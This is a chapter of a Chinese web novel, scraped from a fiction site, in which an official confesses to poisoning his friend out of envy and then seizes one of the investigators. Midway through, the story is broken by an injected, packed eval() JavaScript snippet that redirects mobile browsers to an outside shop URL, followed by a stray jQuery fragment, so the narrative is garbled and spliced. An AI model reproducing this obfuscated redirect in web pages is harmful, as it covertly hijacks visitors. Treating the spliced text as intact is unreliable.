文趣网 > 其他小说 > 俯仰人间二十年 > 289. 你杀我还是我杀你?
    今日的月亮明圆光洁,一如当时中秋的月一般,只是因为少了节日的气氛烘托,再加上这秋冬萧瑟的缘故,怎么看都像是冰冷的光幕,不安的施舍着人间。

    他举起手中冰冷的酒瓶,二话不说便打开了那尘封的塞子,桂花酿的清香随着束缚的打开充斥而出,跃进了人们的口鼻之中。

    王佳又将那瓶子往上抬了一抬,正对着月亮,口中喃喃自语:

    “蒋兄啊,蒋兄,上次你托梦责怪的人,我已经将她送下去了,冤有头债有主,你上次埋怨她为何不将事情告知给你,现在你可以自己同她要说法了。”

    说罢,他便将那茶水一倾而尽。

    “蒋兄啊,要怪便就怪你命不好吧,如果不是你错在当了这二品总督,恐怕我们也会是至交好友的也说不定呢。”

    可他的话音刚落,毫无预料,他的身后竟然悄无声息的出现了一个人声来:“他错就错在竟然瞎眼交了你这样一个朋友。”

    是郭幼帧的声音。

    而听到这声音的瞬间,王佳大惊失色,他猛然转身,有些不可置信的望着面前毫发无伤的两人,神情苍白:“你……你们……你们怎么会……”

    柳墨卿:“我们为什么没有死,居然好好的站在这里是吗?”

    他冷笑了一声,有些嘲讽的望着他:“王大人,你也太小看我们了一点,且不说我们早就对你有所怀疑,你今日又突然主动送上线索来,还是在这样一艘花船之上,不得不让人心生怀疑。”

    “就说,你当真是蠢到无药可治,竟然真的想不到自己到底有没有丢了玉佩吗?”

    王佳听到这话,有些不解的皱眉:“你……你什么意思?”

    面对现在仍然不知境况的王佳,郭幼帧嘲讽一笑,从自己的袖中掏出了那枚让王佳提心吊胆的玉佩展示在了他的面前。

    “王大人啊,王大人,你还真是不小心,喝个茶都能泼洒自己一身的水。”

    她笑着望着他,似乎在等他的反应。

    可王佳却一时间被这样的问话问的有些许的发愣,他迟疑的望了她半晌,眼睛转了又转,终于像是想起了什么,怒声喊道:

    “是那时,是那时你趁我不备,偷走的我身上的玉佩。”

    他怒气冲冲的指着郭幼帧,眼中的怒火甚至已经恨不得将她燃烧殆尽,那颤抖的手不停的指责着她,可哆嗦了半晌却一句话都说不出。

    百密一疏。

    “王大人,你都这样了,我们怎么可能没有任何的防备呢?”

    “我们不是蒋大人,他对你掏心掏肺,完全的信任与你,估计到他临死之前,都不敢置信会是你将他杀害的吧。”

    此刻的王佳终于如梦初醒。

    他咬牙切齿的望着面前打碎了他美梦的两个人,眼中满是愤恨。

    可郭幼帧却并不打算给他愤恨的时机,而是继续为这乱遭添柴加火:

    “你是不是十分震惊我们为什么没有死,但是你却当真听到了那些呼喊逃命的声音?”

    说罢,不等王佳追问,郭幼帧便随手一拍。

    两声之后,一个穿着粗布麻衣的人从船舱的另一侧走了出来。

    他的手中抱着一个小桶,桶里面的东西已经有些干涸了。

    “王大人,你真应该多去前线望上一望,便知晓,人血和鸡血以及猪血的味道会是怎样的不同。”

    说着,郭幼帧便接过了那人手中的小桶,施舍般毫不留情地向着王佳的面前掷去。

    桶落地的瞬间,里面未曾干涸的血被掉落的惯性撞击而出,有几滴甚至落在了王佳的脚边上。

    而现在的王佳脸色更加的苍白了。

    他看着那血不说话,但眼中已满是血红。

    “还有,”郭幼帧继续说。

    “来啊,给我们王大人展示一下。”

    她的话音刚落,那人的口中瞬间便传出了“铮”的一声利刃出鞘之音,紧接着便是金铁交加的刺耳锐鸣、刀斧劈砍入肉的闷响、重物砸在甲板上的轰隆声,偶尔夹杂着几声惨叫,汇集成声,倾泻而出,如同真的站在当场,让人听了耳花缭乱。

    此刻的王佳再望向她的眼中已然要喷出火来:“口技人!!”

    “当真是好本事啊,郭大人,王某当真是失算了”

    看到被人彻底识破,郭幼帧开怀大笑,笑声悠扬,似乎能够传荡出去许远。

    她略一挥了挥手,让这口技之人退了下去,又才继续说:“王大人,你有你的张良计我有我的过墙梯,但是如果论恶毒的话,我看谁都恶毒不过你。”

    她继续说,完全不顾一旁柳墨卿的阻拦:

    “蒋方怎么会有你这般的朋友,他与你推心置腹,几乎算是莫逆之交,你怎么会如此恶毒,不仅劫走赈灾银让他陷入到纷争之中,甚至还要假扮他畏罪自杀的样子,让他一世清名毁于一旦,蒙受不白之冤……这世间,怕是再没有比你更恶毒的人了!”

    可是她的话音刚落,只听得‘砰’的一声脆响,原本王佳手中的酒壶随着他的生气被猛的一下砸在了地上,碎片四溅。

    “你们知道什么!?”

    他像是被人踩到了逆鳞,胸口剧烈的起伏着,伸出的手指因为愤怒的缘故而不停的痉挛颤抖,声音几乎破音的嘶哑:

    “凭什么!?我们同科进士,同年登榜,而我的名次明明在他之上,凭什么他却能平步青云官居二品,而我却只能在这四品的泥沼里不停挣扎?我到底哪里不如他?!”

    “他真的有把我当朋友吗,我不过是他身边养的一条狗罢了。”王佳语气哽咽了半分,

    “我酿的美酒分享给他,钓的长鱼我家中都未有,先要供他想用,他借着我钓上来的鲜食请客,话里话外说的都是我能做能干,可所有的内容前面都有一句做官不行,我做官不行。”

    “呵,”他轻笑一声,声音中满是嘲讽。

    “我是什么,我不过就是他身边养的一条狗罢了,他高高在上,而我不过是他想要就要,想留就留的垃圾。”

    “还有平日里趁着休沐下乡慰问之时,他一个二品大员只要统筹得当便行,而我这漕运道员本就是细致所作,需要详细过问每一个关口的情况,他不由分说便以为百姓着想的名义拉着我四处游说,这样也罢,我本也是想为了百姓们做点好事的,可他在前,就算是做了好事,这名头和好名声落得都是他的头上,又有谁知道我做过什么?”

    “你看看上一次他出殡之时,那万人空巷的场景,又有谁知道他如此的好官名声,背后也有我的一份力呢?”

    王佳喊得声嘶力竭,他的脸因为怒吼的缘故而有些扭曲通红。

    可话音未落,一阵剧烈的咳嗽便猛地攫住了他的喉咙。他弯下腰,撕心裂肺地咳着,仿佛要将五脏六腑都呕出来。

    然而郭幼帧似乎并不想承他这般诉说惨状的情,只是冷冷的说:“你纵有万般不满,大可当面说清!”她看着他这副狼狈的模样,字字如冰,“可你千不该万不该,竟真的痛下杀手!”

    “呵哈哈哈,”王佳听到她这一说,笑得更胜了。

    他清了清嗓中的嘶哑,继续摇头:

    “我本不想杀他的,只想着劫走赈灾银让他无法找回失信于朝廷,这样重大的事情,上头一定会下令彻查,不管找不找回,他这一个漕运总督定然都免不了受罚的职责,而我想的不过就是让他降职发配,远离我罢了。”

    “可谁知,”他声音骤起,双眼通红。

    “可谁知你竟然在那天听到了我们的谈话,而让我更加意外的是,我派去刺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745965|202111||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杀你的凶手竟然就算是自己自断一臂也不肯射杀与你。”他顿了一顿,语气中满是懊恼。

    “我当时没了办法,又怕你将我认出,被他查出,便恶向胆边生,索性毒死了他。”

    “哈哈哈哈哈哈哈哈哈哈哈哈哈,”说完这话,王佳整个人都笑得震动了起来,那笑声中布满了阴冷与讥诮,像是淬了毒的兵刃,让人兀自生寒。

    “你不知当时他酒醉到连路都有些走不稳了,我不费吹灰之力便掰开了他的头将那毒药灌在了他的口中,然后看着他挣扎痛苦,鲜血慢慢的顺着他的眼耳口鼻流出,他的手因为太过苦痛的缘故不停的在那桌上、地上抓握着,可他什么也抓不到,那是断肠的毒药,只要喝了,就没有被救的机会了。”

    “哈哈哈哈哈哈哈哈哈,”又一阵大笑传来,此刻的王佳已经彻底疯魔了。

    “你不知道当时我看着他渐渐的没了生息的时候,那种滋味,那种感觉,很是复杂,”王佳似乎还在回味当时杀了蒋方之时的那种感觉。

    “但很快一阵巨大的开心便充斥而来,我知道蒋方再也不会在我的头顶之上压着我了,我自由了,啊哈哈哈哈哈哈哈哈,我自由了,哈哈哈哈哈哈哈哈哈哈哈!”

    王佳疯魔一般的张狂笑着,像是一只坠入了深渊的恶魔。

    可郭幼帧和柳墨卿看到他如此的样子,却是沉默了。

    因为她们也没有想到,官场上,上位者的任何一次漫不经心的微小拨弄,落在下属身上,都会化成一阵无法拒绝的苦不堪言。

    然而身在这场局中,她们没有办法去评价任何地对错。

    在这吃人的官场上,居其位,处其事,一言一行都会因为权力的更改和重塑被裹挟和异化,你永远无法得知,上位者的任何一次微不足道的波澜,会对下位者的内心掀起何等惊涛骇浪的恐惧和不甘。

    然而更加可悲的是,当这场毁灭性的变动到来的时候,往往连始作俑者都不知晓,自己曾经并非刻意为之而造成的恶。

    郭幼帧叹了一口气,可她的语气和目光依旧冷漠。

    “可,这也不是你杀人的理由。”

    她说的主观,因为现在的郭幼帧已经套上了朝廷法度的枷锁,她知晓如果她处在王佳的位置上并不一定会有他做的好,她可能更疯魔,更猖狂,可现在她是朝廷的官员,她能做的,要做的也只是将人带到衙门去将他依法处置。

    “王大人,王大哥。”她喊。

    “我喊你一声王大哥,我是我觉得你仍有良心所在,你走到今日这一步完全都是被迫的,跟我去自首吧,杀人偿命,无论如何是逃不掉的。”

    可王佳却并没有动,他望着她神情复杂。

    他低头看着地上的破烂瓷片,戚戚惨惨的碎块,散落在地上七零八落,再也无法拼凑了一个完整的泥块。

    一阵冷风突然吹拂而来,吹在他的面上,像是一道锋利的刀片,刮开了他脸上的红晕,让他的脸色又恢复如常。

    “好。”终于,他哑着嗓子暗暗的回答了郭幼帧刚才的话。

    然后便沉默的跺着步子往两人的方向缓步走了过去。

    看着他慢慢靠近的身躯,郭幼帧和柳墨卿并未动,而是站在原地,静静的等他的靠近。

    然而就在两人都已经放松了心神,准备带着他下船直奔县衙之时,就在千钧一发之际,刚刚走到了郭幼帧面前的王佳突然抬起了头来,他一扫刚才颓唐的神情,对着两人突然硬生生的扯出一个令人毛骨悚然的咧嘴惨笑。

    然后在众人都没有反应过来之时,一只手便钳住了郭幼帧的肩膀将她猛然后拽。

    紧接着,另一只手则化成了如同铁铸的鹰爪一般,狠狠的,毫不犹豫地扣住了她有些纤细脆弱的脖颈之上,拖着她快速急退而去。